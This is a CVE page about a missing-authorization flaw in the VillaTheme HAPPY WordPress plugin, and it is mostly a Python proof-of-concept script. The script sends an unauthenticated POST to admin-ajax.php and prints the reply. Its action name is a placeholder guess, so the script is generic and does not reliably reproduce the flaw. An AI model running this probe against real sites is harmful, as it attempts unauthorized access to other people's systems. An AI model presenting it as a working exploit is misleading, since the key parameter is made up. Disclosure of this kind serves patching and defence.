CVE-2026-39593 VillaTheme HAPPY越权访问漏洞

import requests # Exploit Title: VillaTheme HAPPY < 1.0.10 - Missing Authorization PoC # Date: 2026-05-21 # CVE: CVE-2026-39593 def check_vulnerability(target_url): """ This script checks for the Missing Authorization vulnerability. It sends a request to the vulnerable endpoint without authentication. """ # The vulnerable endpoint is typically wp-admin/admin-ajax.php for WP plugins ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload attempting to trigger an action without valid nonce or user privileges # 'action' parameter usually maps to the vulnerable hook in the plugin payload = { "action": "happy_vulnerable_action", # Replace with actual action name if known "data": "test_payload" } try: # Sending POST request without cookies (Unauthenticated) response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if action was performed.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": target = "http://127.0.0.1/wordpress" # Replace with target host check_vulnerability(target)